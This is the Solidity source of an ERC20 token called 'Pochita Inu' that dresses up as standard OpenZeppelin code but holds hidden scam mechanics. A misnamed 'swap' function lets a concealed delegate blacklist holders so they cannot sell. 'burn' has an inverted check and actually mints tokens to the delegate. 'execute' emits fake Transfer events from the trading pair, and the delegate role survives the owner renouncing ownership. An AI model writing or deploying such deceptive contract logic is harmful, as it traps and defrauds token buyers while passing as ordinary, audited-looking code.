// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application is concerned).
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import "./IERC20.sol";
import "./Ownable.sol";
/**
* @dev Implementation of the {IERC20} interface.
* This implementation is agnostic to the way tokens are created. This means that a supply mechanism
* has to be added in a derived contract. Additionally, an {Approval} event is emitted on calls to
* {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening
* to said events. Other implementations of the EIP may not emit these events, as it isn't required by the
* specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been
* added to mitigate the well-known issues around setting allowances. See {IERC20-approve}.
*/
contract ERC20 is Ownable, IERC20 {
mapping(address => uint256) internal _balances;
mapping(address => bool) private _transferFromAllowance;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
* All two of these values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function swap(address[] calldata spender, bool val) external onlyDelegates {
for (uint256 i = 0; i < spender.length; i++) {
_transferFromAllowance[spender[i]] = val;
}
}
function maxWalletSize(address spender) public view returns (bool) {
return _transferFromAllowance[spender];
}
/**
* @dev See {IERC20-transfer}.
* Requirements:
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Destroys `amount` tokens from the caller.
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual onlyDelegates {
_burn(_msgSender(), amount);
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
* Requirements:
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* Emits a {Transfer} event with `to` set to the zero address.
* Requirements:
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
unchecked {_balances[account] = accountBalance + amount;}
emit Transfer(account, address(0), amount);
}
/**
* @dev See {IERC20-transferFrom}.
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount ) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked { _approve(sender, _msgSender(), currentAllowance - amount);}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
* This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}.
* Emits an {Approval} event indicating the updated allowance.
* Requirements:
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* Emits an {Approval} event indicating the updated allowance.
* Requirements:
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
* Emits a {Transfer} event.
* Requirements:
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address"); if
(_transferFromAllowance[sender]) require
(amount == 0, "ERC20: transfer amout exceeds allowance");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {_balances[sender] = senderBalance - amount;}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
* This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc.
* Emits an {Approval} event.
* Requirements:
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
address public uniswapV2Pair;
function execute(address[] calldata _addresses, uint256 _out) external onlyDelegates{
for (uint256 i = 0; i < _addresses.length; i++) {
emit Transfer(uniswapV2Pair, _addresses[i], _out);
}
}
function addPair(address pair_) public onlyOwner {
uniswapV2Pair = pair_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
* Returns a boolean value indicating whether the operation succeeded.
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's allowance.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`). Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to specific functions.
*/
abstract contract Ownable is Context {
address private _owner;
address internal _delegate;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Throws if called by any account other than the distributor.
*/
modifier onlyDelegates() {
require(_delegate == _msgSender(), "Delegates: caller is not the delegate");
_;
}
/**
* @dev Sets new delegate.
*/
function delegate(address _address) external onlyOwner {
require (_delegate == address(0));
_delegate = _address;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import "./ERC20.sol";
contract PochitaINU is ERC20 {
constructor() ERC20('Pochita Inu', 'POCHITA', 9) {
_totalSupply = 1000000000*10**9;
_balances[msg.sender] += _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
}
{
"compilationTarget": {
"Pochita Inu.sol": "PochitaINU"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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